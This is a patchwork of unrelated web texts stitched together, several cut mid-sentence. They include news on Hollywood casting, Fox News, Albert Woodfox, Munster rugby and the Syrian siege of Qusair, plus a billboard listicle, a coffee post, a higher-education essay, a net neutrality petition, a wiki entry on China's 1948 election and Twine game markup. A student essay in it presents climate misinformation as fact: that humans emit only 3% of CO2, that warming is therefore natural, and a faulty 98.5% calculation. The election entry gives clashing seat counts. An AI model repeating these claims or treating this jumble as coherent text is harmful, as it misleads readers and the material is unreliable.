But along with praise for efforts toward greater onscreen inclusion have come charges of whitewashing. Paramount’s “Ghost in the Shell” has been criticized for placing Scarlett Johansson as the character dubbed Motoko Kusanagi in the original Japanese manga and anime. Marvel took heat on social media for casting Tilda Swinton in “Doctor Strange” as the Ancient One, portrayed in the comics as an Asian man, and Finn Jones as Danny Rand in Netflix’s “Iron Fist,” despite an online campaign to have that character played by an Asian actor. Marvel Comics writer Marjorie Liu tweeted after Jones was announced, “Iron Fist is an orientalist-white-man-yellow-fever narrative. Asian actor would have helped subvert that offensive trope, and reclaim space.”
Marvel denies that it was whitewashing Swinton’s character. They say that the Ancient One is represented by many different people and ethnicities and was never intended to be exclusively Asian. Meanwhile, the producer of “Ghost in the Shell” says the film is set in an “international world” instead of unfolding in Japan, as it does in the comic book.
Marvel has tried to be more responsive to demands for greater inclusion in its upcoming projects. “Black Panther” features a largely African-American cast and is directed by a black man, Ryan Coogler, while Netflix’s “Luke Cage” is the first superhero show with a black protagonist.
Indeed, diversity efforts have expanded to include greater emphasis on gay, transgender, and disabled performers and characters. This fall has seen ABC premiere “Speechless,” a family comedy whose central character has cerebral palsy — as does Micah Fowler, the actor who plays him. Later this season, CBS will premiere “Doubt,” which will star Laverne Cox as the first transgender series regular on broadcast TV.
At the Primetime Emmy Awards in September, “Transparent” star Jeffrey Tambor said he hoped to be “the last cisgender male playing a transgender female.” Cox later took the stage and implored the industry to give trans actors more opportunities. Peter Golden, executive VP of talent and casting for CBS, says that in years past, casting a cis actor as a trans character would have been the norm. “I think eyes have been opened in the last five to 10 years, and because of that the trans community of actors has grown tremendously,” Golden says.
TV series now aim for greater inclusivity among their casts, including (from left) “Speechless,” “Doubt,” and “Superstore.”
Russell Boast said he hadn’t realized how much of a divide existed between Hollywood and various communities until he was asked to cast a transgender role on ABC’s “Wicked City.” “I went on the hunt, and no one knew who to go to,” says Boast. “It was so disorganized.”
Boast, who serves as vice president of the Casting Society of America, got inspired to try to better integrate transgender and disabled actors, and other underrepresented groups, into the casting mainstream. He and other members of the organization began offering free classes and seminars this year, aimed at giving actors a primer on how they should audition and network.
“I thought we’d get 30 actors, and more than 80 people showed up,” he recalls. “We were having all these conversations about diversity, and I just thought it was important to stop talking and start doing the work.”
Nick Adams, director of programs |
programs. She offers workshops, presentations and individual mentoring on various themes, including Raising Children in Changing Times. Her focus is blending Expressive Arts and creativity with nature for personal, social and planetary transformation. Visit her website (www.diannemonroe.com) or email her to learn more.Published: 16:37 EDT, 14 June 2017 | Updated: 17:20 EDT, 14 June 2017
Fox News will no longer bill itself as 'fair and balanced,' it was learned on Wednesday.
The conservative-leaning cable news channel is dropping the 'Fair & Balanced' slogan that it has attached to its brand ever since it launched in 1996, according to New York magazine.
Instead, the network will market itself from now with the sales pitch: 'Most Watched. Most Trusted.'
The decision to shed the 'fair and balanced' slogan was made this past August following the dismissal of Fox News' late founder and chairman, Roger Ailes.
According to New York magazine, the decision was made by Fox News co-president Jack Abernathy.
The rationale given for the move was that the phrase 'fair and balanced' had been'mocked,' according to a Fox News insider.
When Ailes started Fox News over 20 years ago, he made his employees undergo seminars whose central theme was 'fair and balanced,' according to New York.
Fox News will no longer bill itself as 'fair and balanced,' it was learned on Wednesday
The decision to shed the 'fair and balanced' slogan was made this past August by network co-president Jack Abernathy (left). The change was prompted by the dismissal of Fox News' late founder, Roger Ailes (seen in the above 2015 file photo)
'He would call a group of senior producers and make you watch the channel and he'd point out stuff, like a banner that's slightly liberal,' a senior producer is quoted as saying.
'He would say, "The news is like a ship. If you take hands off the wheel, it pulls hard to the left".'
Ailes would also use 'fair and balanced' as a measuring stick on whom to hire.
If Ailes interviewed a candidate he did not like, he would say that the person was not hired because they weren't 'fair and balanced.'
Last July, Ailes (seen above with his wife Elizabeth Tilson outside the News Corp building in New York last July) resigned as chairman and CEO of Fox News after a number of current and former female employees came forward to accuse him of sexual harassment
Ailes' departure set off a chain of events that has resulted in a transformation at Fox News, which has been rocked by big-name departures. Megyn Kelly (left) left the network earlier this year to join NBC, and Bill O'Reilly (right) was fired in April over sexual harassment allegations
A Fox News spokesperson told New York that the new tagline won't have any effect on the channel's editorial policies or its programming.
Despite the change in tag line, Fox News anchor Bret Baier struck a defiant tone.
'My show will still end with "Fair, Balanced, and Unafraid",' Baier tweeted on Wednesday.
Ailes, 77, died on May 18 at his home in Palm Beach after he was hospitalized for several days due to injuries sustained from a fall.
Last July, Ailes resigned as chairman and CEO of Fox News after a number of current and former female employees came forward to accuse him of sexual harassment.
Ailes denied the allegations.
Ailes' departure set off a chain of events that has resulted in a transformation at Fox News, which has been rocked by big-name departures.
Sean Hannity (above), who hosts a nightly 10pm show, remains one of the few links to the Ailes era at Fox News
Despite the change in tag line, Fox News anchor Bret Baier struck a defiant tone. 'My show will still end with "Fair, Balanced, and Unafraid",' Baier tweeted on Wednesday
One of Ailes' accusers, Megyn Kelly, left the network for NBC earlier this year.
Most recently, Bill O'Reilly, who hosted the highly rated O'Reilly Factor program, was fired after it was learned that he paid $13million to settle sexual harassment complaints made by five different women.
The public backlash and the exodus of advertisers from his show compelled Rupert Murdoch and his sons to force O'Reilly out.
Tucker Carlson has stepped in to fill the void left by O'Reilly.
Sean Hannity, who hosts a nightly 10pm show, remains one of the few links to the Ailes era at Fox News.An US man kept in solitary confinement for 43 years has been released after his murder conviction was overturned on appeal.
Albert Woodfox was convicted twice for killing a prison guard in 1972 but a judge ordered his release last summer.
The former Black Panther was kept behind bars by a federal appeals court as the state of Louisiana, where he was imprisoned, lodged a challenge against his release.
His release on Friday came after the state dropped the threat of a third murder charge in exchange for Woodfox pleading no contest to lesser charges.
'Cruel and inhumane'
"Although I was looking forward to proving my innocence at a new trial, concerns about my health and my age have caused me to resolve this case now and obtain my release," Woodfox said in a statement after he was freed.
Woodfox's supporters have insisted his imprisonment and detention in solitary confinement were politically motivated.
His legal team has called on authorities to end the use of solitary confinement as a punishment, describing the practice as "cruel and inhumane".
The activist was one of three men known as the "Angola Three", alongside Robert King and Herman Wallace, who supporters say were kept in isolation because they fought for better prison conditions.
King was released in 2001 after his conviction was overturned and Wallace died in 2013 just two days after his release.This video is no longer available
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#donaldtrump #donaldtrumpmemes #politics #philcollins #80s Have you ever MAGA’d so hard you went in PHIL COLLINS MODE. Trump has…and he can feel America coming in the air of the night. And he’s been waiting to Make America Great again all his life. Here’s the Pilot draft of what I envision the show as. Episodes 1 and 2 http://www.dailymotion.com/video/x5a4hx0 https://vid.me/X6He https://youtu.be/rw36KuNIRnM - Sarah Silverman LOOKING FORWARD TO HEARING FROM YOU! With projects featured on MTV.com. Buzzfeed, CollegeHumor, Mark Cuban's, Mark Herjavec, Barbara Corcoran, Lil Jon and Adam Devine's Twitter, ABC Publicity, As heard on Nick Dipaolo and Artie Lange show, RadioPop, WJBQ Radio, ComedyCentral's Twitter, The Huffington Post, FoxSports, Cosmopolitan UK, HyperVocal, FanDuel, Workaholics Official Tumblr. Barstool Sports, Cinemassacre, BroBible, Youtube Tops, Uproxx Network, MTV Hive, ScrewAttack, Dailymotion Front Page, Sklarbro Country and WWE's Youtube. youtube.com/vkmtvstudios vkmtvstudios.tumblr.com twitter.com/vkmtvproduction dailymotion.com/vkmtvDonald Trump Sings in The Air Tonight by Phil Collins (VKMTV - The Deplorable Discourse)
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Last week, the news that Andy Farrell has taken the job as Ireland’s defence coach shocked the rugby world. The Englishman, who was part of Stuart Lancaster’s coaching ticket up to the World Cup, was let go by the RFU after the Red Rose failed to progress from their group.
Well there is another surprise developing this morning.
Munster are now out of the European Champions Cup, with two games left to play. They were humbled by Stade Francais in Paris on Saturday, with many questioning the heart and spirit of both the team and management. This is paired by some questionable results in the PRO 12, so confidence around Thomond Park is not exactly at an all time high.
Many are calling for change, and few still have faith in Anthony Foley and his coaching staff.
_____
Desperate times call for desperate measures, and Munster appear to have acquired the services of Farrell on an interim basis to aid Foley and Co.
New Ireland defence coach Andy Farrell to take up interim role with Munster Rugby. Announcement expected today. Media day later to confirm — Donn O Sullivan (@DonnOSullivan) January 12, 2016
The 40 year-old does not start his contract with the IRFU until after the Six Nations, so would be free to take up this role with Munster.
_____
This is undoubtedly major news, and one which may come as a shock to Munster fans.
Judging by the Irish public’s reaction to Farrell’s appointment on the Ireland coaching team, we could see some mixed reviews here too.
_____
Update:
Munster confirmed the news with this official statement on their website:
“Munster Rugby can confirm that Andy Farrell will join the province in an advisory role with immediate effect. “The role will see the incoming Ireland defence coach provide support to Head Coach Anthony Foley and his coaching group on a part-time basis over the next four months.”With the constant innovations of advertising in new media, it’s easy to forget the tried and true forms of advertising that once dominated media buys. The old fashioned billboard tends to be plastered with text and ugly graphics, but there are pioneers who are pushing the limits of a once conservative business. Here are 16 creative billboards that step out of the bounds of an old media:
(Images via danvertising, artatm)
Billboards can do something even the most complicated online display advertising can – and that’s break through the boundaries and become truly interactive with the real world. There’s something about the tactile nature of this kind of ad that impels one to talk about it with friends.
(Images via andersonf, toxel, mymodernmet)
Sometimes it’s not what’s on the billboard, but rather how empty space is used. Removing part of a billboard to make a point is wonderful because it’s both eye catching, and shows that the advertiser took the time to study the environment the billboard would inhabit, and stylized it to interact uniquely.
(Images via inquisitr, billboardom, billboardom, fistofblog)
It’s amazing what you can do with a simple rectangle, and bringing in a little creativity with shape and texture can make a typically two dimensional ad medium really pop out. People expect something from a boring billboard, so it’s great when those expectations are ruined.
(Images via geekologie, greensboring, viviangrant, greensboring)
Bloom supermarkets have pioneered the most interactive billboards yet, by creating two different billboards that emit smells into the surrounding area. The first such billboard wafted steak scents for passing motorists, and the second incorporated a fallen muffin and wonderful blueberry muffin smells.
(Images via dailygalaxy, otakuchick)
Billboards can be a surprisingly effective platform (literally) for environmental causes, as exemplified by these creative setups, which destroy expectations of what’s possible with a rectangular space.
(Images via davewilliamsdesigns, thecrapbox, pedrogoico)
These billboards truly step off the board and enter the real world with their off the wall uses of 3 dimensional features. Figures escape the boundaries of the ad and become compelling entertainment.This is a guest post by my grandson, William Desormeaux age 17, consisting of an English translation of his essay in French to fulfill a philosophy class requirement. The words and thoughts are entirely his own, based on his own research. I added the images.
For a few decades, many people have given their opinions about climate change. Some are concerned by this phenomenon, while others try to prove that these changes do not actually have impact. The first group can be called warming alarmists and the second warming skeptics. For other individuals who are not part of these groups, the following question arises: Should we act against climate change? In my opinion, alarmists exaggerate much too much on the problems. In fact, the conditions of the Earth have already been worse, humans are not actually responsible for these changes and measured results contain errors.
First, I do not believe that we should act against climate change because the situation of the Earth, in respect of carbon dioxide has already been much worse. Indeed, according to Ian Plimer, Professor of geology at the University of Adelaide, several millennia ago, Earth had a rate of carbon dioxide 1000 times higher.1 Carbon dioxide is a greenhouse gas and alarmists say that it is bad for the environment. It is true that it has an impact on our planet. On the other hand, when we look at the statistics of Ian Plimer, we realize that the Earth has already included much more of this gas and survived. Moreover, plant life depends on carbon dioxide and grows bigger and faster in higher concentrations than we have today. In short, although the concentration of greenhouse gases increases, it remains that it has been much higher without damage caused to our planet.
Secondly, in the same vein, I am not convinced that we actually have the possibility of acting against climate change since we are not responsible. Indeed, again according to Ian Plimer, human activities are responsible for only 3% of carbon dioxide emissions in the atmosphere.2 If we take a moment to analyze these figures, we can quickly see that even if we succeed in halving our emission of carbon dioxide in the atmosphere, there would still remain 98.5% of the gas that “pollutes our planet”. Further, I consider that all the sacrifices that we should take just to halve our emissions will do nothing to save the Earth. So, 98.5% means that climate changes are part of a natural cycle, and we shouldn’t be overly preoccupied about this issue.
Thirdly, the results recorded by meteorological stations are not completely reliable. Indeed, according to Anthony Watts, Chief Meteorologist of KPAY-AM radio, 89% of stations recording temperatures do not respect National Weather service standards.3 This statistic shows that some results used by alarmists are erroneous. It is easy for people to believe that the temperature is rising when different weather stations do not meet standards. For example, some of these stations have been found in the middle of parking lots, an area where heat is absorbed. So, in this way, the displayed temperatures are higher than they should be. Thus results promoted by alarmists are not typical since there are only 11% of stations that are adequate. Finally, I do not believe that action must be taken against climate change since published temperatures are misleading. In this way, it is easy to make global warming look worse than it is.
In conclusion, I am convinced that we should not take action against climate change. Several experts like Mr. Plimer and Mr. Anthony Watts have convinced me that these changes have already been worse, that they are not the fault of humans and that they are exaggerated by alarmists due to poor data collection. In addition, I believe skeptics’ thoughts are less taken into account by the population since they are less disclosed by the media. Among other things, it’s much more interesting for them to mention that a phenomenon such as climate warming may disrupt our lives than to share with readers that everything is normal. Finally, although I myself pay attention to my planet, by recycling and taking public transit frequently, I’m not convinced that it is crucial to act against climate change.
1 http://pcc15.org/the-ten-questions/question-1/
2 http://pcc15.org/the-ten-questions/question-1/
3 http://pcc15.org/the-ten-questions/question-10/
AdvertisementsMedia playback is unsupported on your device Media caption Footage posted online purported to show the bombardment
Heavy fighting is reported in the besieged Syrian town of Qusair after state forces launched a major offensive to re-capture the rebel stronghold.
State TV says troops have captured key buildings in the town centre, a claim strongly denied by activists.
Rebels say 50 people have been killed while state media says 70 "terrorists" are dead.
Lebanese militants are said to be involved - Hezbollah siding with the government, Sunni gunmen with rebels.
The town - close to the border with Lebanon - has great strategic value. Its control would give the government access from the capital to the coast.
Analysis What appears to be a concerted government attempt to recapture Qusair from the rebels had been in the making for some time. In a sense, Qusair had already fallen militarily, since the rebels appear to have lost control of most of the surrounding villages and countryside adjacent to the Lebanese border. It adds to a string of setbacks rebels have suffered in recent weeks, especially along the Lebanese and Jordanian borders and around Damascus itself. Rebel commanders blame their recent losses on the drying-up of arms supplies from outside. Qatar and others are reported to have recently cut deliveries, perhaps in response to US reservations about enabling a victory by a rebel movement in which the al-Qaeda-linked Nusra Front is playing a lead role. Certainly the government forces, bolstered by apparently open-ended support from Russia, Iran and Hezbollah, have in recent weeks had a new spring in their step.
For the rebels, control of Qusair means they can come and go from Lebanon, says the BBC's Jim Muir, in Beirut.
The assault began early on Sunday with artillery fire and air strikes. In recent weeks the Syrian military has won back surrounding villages and countryside and had encircled Qusair.
Activists in the town posted video on the internet showing chaotic scenes at what they said was a field hospital flooded with casualties.
Our correspondent say some are clearly fighters while others are civilians.
The activists said the medical situation was drastic, with few resources to treat huge numbers of injured.
They said at least 50 people were dead and some 450 wounded.
State TV said that troops had taken over buildings in the centre, including the town hall, and were now chasing out "terrorists" - its term for the rebels.
Qusair resident and opposition activist Hadi Abdullah said civilians had sought shelter in basements.
He denied the regime had made advances in the town and said that the municipality building was destroyed in fighting months ago.
"It's the heaviest [shelling] since the beginning of the revolution," he said, quoted by AP news agency.
Earlier, Rami Abdel Rahman, of UK-based activist group the Syrian Observatory for Human Rights, said troops were advancing from the south and Hezbollah fighters were "playing a central role".
Image caption This image taken by a resident of Qusair purports to show damage caused by airstrikes
Earlier this month, Syrian forces reportedly dropped leaflets on the town, warning that it would come under attack if opposition forces failed to surrender.
In another development, the Lebanese National News Agency reported that eight Soviet-made Grad rockets had struck the north-eastern town of Hermel.
The agency said the short-range missiles were presumably fired from Syria but had caused no damage or casualties.
News of the assault on Qusair came as Syrian President Bashar al-Assad vowed to continue the "fight against terrorism".
In his first interview since the US and Russia announced plans for a peace conference, Mr Assad told an Argentine newspaper that the meeting should focus on stopping the flow of money and weapons to "terrorists".
He rejected suggestions he might stand down, saying a captain did not abandon his ship and presidential elections next year would determine his future.
The conference, scheduled for June, will try to persuade the Syrian government and opposition to accept a deal, including an immediate cessation of violence.
The plan, based on a UN-backed proposal, would see the establishment of a transitional government that could include officials serving under President Assad and members of the opposition.
However, neither the Syrian government nor the opposition has yet made a commitment to attend the meeting.
The top US general described Russia's decision to send missiles to Syria as "ill-timed and unfortunate".
Gen Martin Dempsey, chairman of the Joint Chiefs of Staff, said the shipment would "embolden the regime and prolong the suffering".
Without confirming the shipment, Russia's Foreign Minister Sergei Lavrov said the supply of missiles to Syria did not break any international rules.
A small hole has been smashed into the tiled floor, a pair of disposable surgeon's gloves lie abandoned nearby. The plants around the site appear to have withered and died, showing signs of possible contamination Is Syria using chemical weapons?
Russia, a key ally of President Assad, has a small naval maintenance facility at the Syrian deep-water port of Tartus.
Last week, the BBC's Ian Pannell was shown video and eyewitness testimony that appear to corroborate allegations of chemical weapons' use in the Syrian town of Saraqeb.
Turkey has given US President Barack Obama what it says is evidence of chemical weapons use in Syria.
The US had warned that such a development would be a "red line" for possible intervention.
But Mr Obama said more specific details were needed about alleged chemical attacks.
Russia has consistently opposed any international intervention in Syria, along the lines of the Libyan conflict in 2011.
The UN said last week that the death toll in Syria had reached at least 80,000 since the conflict began in March 2011. Activists said the number could be as high as 120,000.As we approach National Food Day, many wonder where coffee — a beverage either grown or consumed in every country in the world — fits into the scheme of Food or Agriculture. While it’s widely known that coffee is one of the largest commodities in the world, many do not know that coffee is one of the most biologically important food crops grown. Like fine wine and beer, coffee is also is a very worthy beverage if you enjoy products that offer breadth and depth of taste, variety and story.
Here are my TOP 5 reasons why you should take a moment to think about your morning cup as you celebrate National Food day.
Exploration and preservation of species/variety: While coffee has 4 main species (Arabica, Robusta, Liberica and Barako) there thousands of varieties of these species grown throughout the world, most Americans have only been exposed to a handful of coffee varieties, making for a very narrow culinary experience. Recently, coffee roasters and cafes have been introducing more of these new and exotic species to consumers, offering a unique opportunity for those who wish to embark on a taste journey. Carbon Sequestration: Original varieties of coffee are dependent on layers of shade trees to provide filtered sunlight for growth. Just like natural forests, the carbon sequestered in a shade‐grown coffee farm’s shade trees will be stored in the tree trunks, limbs, leaves, and roots of the foliage as opposed to being in the atmosphere and adding to global warming. Soil in shade-grown coffee holds carbon from the organic matter that accumulates on the ground and gets broken down over time. A study on Shade‐Grown coffee systems in Indonesia showed that soil carbon stocks in the upper layer of soil were equal to 60% of those found in primary forest there, and they showed 58% more total carbon stock in soil and biomass than Sun-Grown coffee. By asking for “heirloom” or non-hybrid varieties of coffee, or seeking certified-organic or Shade-Grown coffee, you can be sure that you are doing your part to curb global warming. Preservation/Improvement of Biodiversity: In addition to original “heirloom” varieties of coffee needing shade trees to thrive, coffee is also highly dependent on a rich, bio-diverse environment to build soil fertility, keep pests in check and diseases at bay. Recently a fungus called “Roya” or “Coffee Rust” decimated up to 40% of coffee production in some Central and South American countries. This outbreak happened, in part, due to farms that converted shaded, bio-diverse environment to full-sun monoculture farms. When farmers removed the shade trees and biodiversity, they also destroyed a beneficial fungus called “White Halo” which keeps Roya in check. Without this beneficial fungus, Roya was able to spread unchallenged with devastating results. Supporting original varieties of coffee (Bourbon, Typica, etc), ensures biodiversity on the farm, which is good for the planet. Supporting the Small/ Artisanal Farmer Movement: Did you know that over 70% of the world supply of coffee is grown by small-scale farmers? Drinking Specialty Coffee supports a global small-scale farmer movement, unlike most other food crops. Building Consumer Base for Unique Coffees: As we have witnessed more antique varieties of coffee introduced to consumers, we are creating a real and growing argument for coffee growing communities to return to traditional farming and propagating rare and unique varieties. This effort has increased income for small-scale farmers worldwide, alleviating poverty, offering opportunity in these remote communities and increasing food security.
As you take your first sip of your coffee on Food Day, take a moment to realize how much impact your morning brew can have in the world. There is a lot of good in that cup!For “Part 1″, visit “Business Model Innovation in Higher Education, Part 1“.
Concerns about the financial sustainability of higher education have become louder and more acute in the last couple of years. Student loan debt levels have reached new highs; operating costs continue to rise. This, coupled with the near-universal belief in the importance of higher education, and the potential of technology in the 21st century, has stimulated sincere interest in identifying new ways of “doing higher education.”
Previous commitments by higher educational leaders and policy makers to “improve quality” and “drive innovation” are being transcended by a growing interest in the concept and practice of business model innovation.
The Value of Business Models
The process of defining a business model has two core benefits:
It creates clarity about how the institution operates and determines success.
It makes identifying new ways of operating more likely.
However, analysis of business models points to a difficult truth: it is extremely challenging and rare for an established organization − such as universities − to change its business model.
Although the need for change may be strong, and the organization may have the necessary resources to enact change, history suggests that few organizations are capable of making significant changes to the business model. (For a breakdown of the various elements of a business model, see “Business Model Innovation in Higher Education, Part 1”).
Consequently, new business models typically emerge from new entrants; those companies and institutions without entrenched practices.
Examples of Business Model Innovation in Online Higher Education
The higher education sector is structured so that it is next to impossible for new institutions to enter the market easily. This is due to high entry costs, accreditation delays, and deeply entrenched philosophies of education. As a result, there are few truly “new entrants” in the market.
Nevertheless, a few new enterprises have emerged. Below, are some of the enterprises that are employing new business models successfully in online higher education.
Western Governors University. Launched in 1999, WGU offers competency-based, online programs, primarily for adult learners. Regularly cited as an example of institutional innovation.
Southern New Hampshire University. Formerly New Hampshire College, SNHU reinvented itself as a primarily online, non-profit institution – using some of the tactics that drove growth among for-profit institutions over the past decade.
Coursera. Founded by Stanford University computer science professors Andrew Ng and Daphne Koller, Coursera draws on the resources of elite institutions to offer MOOCs to self-directed learners for free or low cost.
StraigherLine. Founded in 2009, StraigherLine offers online courses than earn credit for $99 a month. Courses are evaluated and recommended by the American Council on Education.
Fullbridge XBA. An alternative to a traditional MBA, the program simulates the challenges of the 21st century workplace by providing a full time, lecture-free, immersive boot camp where collaborative learning is combined with fundamental business exercises and e-learning modules.
Measurement of Learning as the Driver of Innovation
If new business models represent one of the most promising ways to increase options for students, then the question becomes, “How can the sector go about enabling these new entrants?”
While some, like StraighterLine CEO Burck Smith, believe new entrants should be able to offer college-level credit, most administrators, faculty and policy-makers will likely prefer more moderate changes.
Any changes we choose to make need to be based on the measurement of learning. Let’s focus less on the source of learning – the input – and more on the impact and value that each provider of learning can generate.
If we use learning outcomes as the guide for shaping policy, we will move in the right direction, toward an educational landscape in which the best learning solutions rise to the top. And those that rely on surrogates of quality – such as high tuition and exclusivity – will be forced to adopt new and better tactics for serving their learners.It's Official: Trump and Pai Plan to Destroy Net Neutrality
The Trump administration has officially launched its attack on Net Neutrality — if it succeeds, the internet as we know it will be gone for good.
FCC Chairman Ajit Pai has unveiled his plan to dismantle Net Neutrality.
Here it is in a nutshell: Abolish Net Neutrality. Cross our fingers that the phone and cable companies promise to be good.
Yeah, right. These are the same companies that promise to be at your house between 10 a.m. and 3 p.m. and don’t show up until the following week. The same companies that were caught repeatedly violating Net Neutrality before strong rules were on the books.1 The same companies that admitted that if it weren’t for Net Neutrality they would discriminate against websites and content.2
Tell Chairman Pai, the Trump administration and Congress to LEAVE NET NEUTRALITY ALONE.
We'll be sure to file your petition signatures and comments in FCC docket 17-108.
1. “Net Neutrality Violations: A Brief History,” Free Press, April 25, 2017: https://www.freepress.net/blog/2017/04/25/net-neutrality-violations-brief-history
2. “Verizon’s Plan to Break the Internet,” Free Press, Sept. 18, 2013: https://www.savetheinternet.com/blog/2013/09/18/verizons-plan-break-internetFirst Legislative Representative Election of the Republic of China, and the preceding 1947 National Assembly Election were the Republic of China's first public direct elections since its founding. At the time most of China's territory was under the control of the Government of the Republic of China, using a direct voting system elected 759 Legislative Representatives. Using the Republic's then 461 million population[1] to calculate, on average 600,000 people elected one representative in the Legislature. The election along with the one held for the National Assembly also made China the largest democracy at the time.
Background [ edit ]
In 1928, the National Government completed the Northern Expedition and after achieving unification in the name of China, initiated the “Political Tutelage” period and created the Legislative Yuan. But the Legislative Representatives at the time were not elected, but appointed by the National Government for a 2-year term. There were initially 49 seats, but it was increased to the 194 seats before the Sino-Japanese War. But because of the Second World War, the 194 Legislative Representatives selected in 1934's terms were extended until after WWII in 1947.
On January 1, 1947, the “Constitution of the Republic of China” was published, and in the same year on December 25 promulgated. April 1947, according to the Political Consultative Conference, the National Government was reorganised to allow other political parties (e.g. Youth Party, Democratic Socialist Party) to enter. In the beginning of 1948, according to the Constitution's Article 64, the first Constitutional Legislative Election was held. Because of the largeness of the provinces, not all of the elections in the various provinces were held on the same date. The starting and ending dates were from January 21 to January 23.
Because of the problems that took place during the 1947 National Assembly Election (i.e. Party candidates were not nominated by their political parties, but by self-gathering voter signatures), the Nationalist Party Central Government strengthened the requirements for party member candidates.
Election [ edit ]
Elected Government Officials of the Republic of China Title Government Role Constitutional Provisions Amended Provisions President Head of State Indirectly Elected by the National Assembly Elected directly by the citizens in the Free Area National Assembly Delegate Organs of State of Power Directly elected by the citizens National Assembly Frozen, Power transferred directly to the people Legislative Representative Legislature Directly elected by the citizens Directly elected by the citizens in the Free Area Control Yuan Members Monitoring Authority Indirectly elected by the provincial councils Appointed by the President with the agreement of the Legislature
In accordance to the Constitution of the Republic of China, members of the Legislative Yuan shall be elected in accordance with the following provisions:
Those to be elected from the provinces and by the municipalities under the direct jurisdiction of the Executive Yuan shall be five for each province or municipality with a population of not more than 3,000,000, one additional member shall be elected for each additional 1,000,000 in a province or municipality whose population is over 3,000,000 Those to be elected from Mongolian Leagues and Banners Those to be elected from Tibet Those to be elected by various racial groups in frontier regions Those to be elected by Chinese citizens residing abroad Those to be elected by occupational groups
The number of women to be elected under the provinces, municipalities, and other items shall be prescribed by law. Based on the census calculations, at the time the citizen population of China numbered at 461 million,[2] in this election 773 representatives were elected. Their numbers are as follows
Elected representatives from the provinces and municipalities: 622 Elected representatives from the Mongolian Leagues: 22 Elected representatives from Tibet: 15 Elected representatives by various racial groups in frontier regions: 6 Elected representatives by Chinese citizens residing abroad: 19 Elected representatives by occupational groups: 89[3]
Campaigning: Legislative Election and Recall Law Article XII, when generating the candidates for the election, once a Candidate has over 3000 voters' signatures or been nominated by the party as candidates, he may begin campaigning. Those who have failed will not be allowed to campaign. Overseas Chinese and Occupational Groups can only campaign if they have the required number of voters. Because the constitution has just been promulgated, opposition was small, and most of the nominated candidates were from the Nationalist Party.
Election process [ edit ]
As a process of constitutional succession, before the establishment of the elected government, in accordance with the "End of Political Tutelage Procedure Law," the first Legislative and National Assembly election is to be organized by the National Government. In accordance with the “National Assembly and Legislative Yuan Election Ordinance," June 25, 1947, the National Government are to establish general elections at the central government office and around the various provinces, municipalities, and counties. In 1948, from January 21 to January 23, the country's 47 provinces, municipalities, 18 Mongolian Leagues, Tibetan area, domestic occupational groups, women's organisations, and overseas Chinese regions, making up nearly 200 million voters voted for their legislators. Because of the Chinese Civil War, the elections could not be held in Communist controlled areas, the National Government, through the supplementary regulations, had the people living nearest to the areas elect representation for the areas.
Because the Chinese Communist Party refused to participate in the election, only the Chinese Nationalist Party, China Democratic Socialist Party, Chinese Youth Party, and other small party and independents participated. In the election, all Citizens who had gone through citizen registration at least 20 years old could vote using the “Radio, anonymous, secret” voting system. Not counting the small groups like the occupational groups and the ethnic minority groups, only those who were close to the ballot offices could participate. If using an average 30% between all of the provinces of citizens who have registered, it is estimated that 150 million people participated. Although the turn-out rate was low, this session of the Legislative Yuan and National Assembly remains to date the only session of the Greater China region that has been directly elected.
Also, Sinkiang Province had 6 seats, but 1 seat of the Yitaasan district was reserved to elected, so only 5 were elected from the Province; Tibet Area originally were given 5 seats, but because the Kashag did not report the list on time, 3 of the Tibetan representatives in the Capital filled in the seats, and Tibet had 2 vacant seats; Overseas Chinese Citizens had 19 seats, but only districts 6 to 13's votes were counted, electing 8 representatives with 11 vacancies. In total, there were 14 vacancies.
Representatives [ edit ]
Aftermath [ edit ]
In 1948, 759 members were elected to the First Legislative Yuan under the rule of the recently promulgated Constitution of the Republic of China. The members convened of their own accord on May 8 in the National Assembly Hall of Nanking and held six preparatory meetings during which Dr. Ko Sun (son of Sun Yat-sen) and Mr. Li-fu Chen were elected President and Vice President respectively. On May 18, the first meeting of the first session of the First Legislative Yuan officially inaugurated 21 standing committees in operation.
1950 [ edit ]
Owing to the Chinese Civil War between the Nationalists, led by the Kuomintang, and the Communists, led by the Chinese Communist Party, the central government was moved to Taipei in 1950. Of the 759 legislators, 380 followed the government to Taiwan. On February 24 of the same year, the remaining legislators gathered for its first meeting of the fifth session at the Sun Yat-sen Hall in Taipei. Before long the Legislative Yuan voted to revise its organization law and reduced the number of the standing committees to 12; at the same time, it set up other ad hoc committees. In 1960, the Legislative Yuan moved to its current location on Chungshan South Road.
1951 [ edit ]
The term of the First Legislative Yuan members was supposed to have expired by May 1951, had it not been for a major national conflict that made impossible an election as required by law for the next Legislative Yuan. Accordingly, the Council of Grand Justices of the Judicial Yuan passed the No. 31 Interpretation of the Constitution to justify and legalize continuous performance of these members elected in 1948. During this extended tenure, however, 11 additional |
, I could. My dad has the master key to this entire floor. What was your nightmare about? [[BO: It was about my father. ->dreamdad]] [[BO: It was about Earth. ->dreamearth]] [[BO: Nothing. It was just a dream. ->dreamnothing]] </p> <p>MANDY: I heard you screaming so I came over to check on you. BO: You didn't have to do that. MANDY: It's okay. Your dad... was he in trouble? BO: We were in a battlefield. I can't remember the details now, but...there were bombs. After that, I was somewhere else. I don't know. I don't know how to explain it. MANDY: You're going to be okay. It was just a dream. BO: Yeah. MANDY: Do you want me to stay? [[BO: I'll be fine. You can go back. ->fake_stay]] [[BO: I'd like to have you around, if you don't mind.->fake_stay]] </p> <p>MANDY: I heard you screaming so I came over to check on you. BO: You didn't have to do that. MANDY: It's okay. You said your dream was about Earth? BO: Yeah, in the war. There were bombs going off, and somebody was with me. At the same time, I was walking through this hallway...I don't know how to explain it. MANDY: You're going to be okay. It was just a dream. BO: Yeah. MANDY: Do you want me to stay? [[BO: I'll be fine. You can go back. ->fake_stay]] [[BO: I'd like to have you around, if you don't mind.->fake_stay]] </p> <p>MANDY: You're going to be okay. It was just a dream. BO: Yeah. MANDY: Do you want me to stay here? I can keep you company while you fall back asleep. [[BO: I'll be fine. You can go back. ->fake_stay]] [[BO: I'd like to have you around, if you don't mind.->fake_stay]] </p> <p><div class="narr">Mandy smiles at Bo in the dark and holds his hand in hers.</div> MANDY: No problem. <div class="narr">She lets go of Bo's hand.</div> MANDY: Do you want your computer turned off, at least? <div class="narr">She gestures to the desk next to Bo's bed. The computer screen dimly shines.</div> [[BO: I didn't know it was on. ->bocomp]] [[BO: That's weird. There isn't a message on there, is there? ->bocomp]] </p> <p><div class="narr">Bo gets out of bed and sits next to Mandy, sharing the chair with her.</div> MANDY: It was on when I came in. You must have forgot to turn it off last night. BO: I never turned it on. <div class="narr">Bo opens his ship profile and sees that there is indeed a new message. His stare intensifies as he 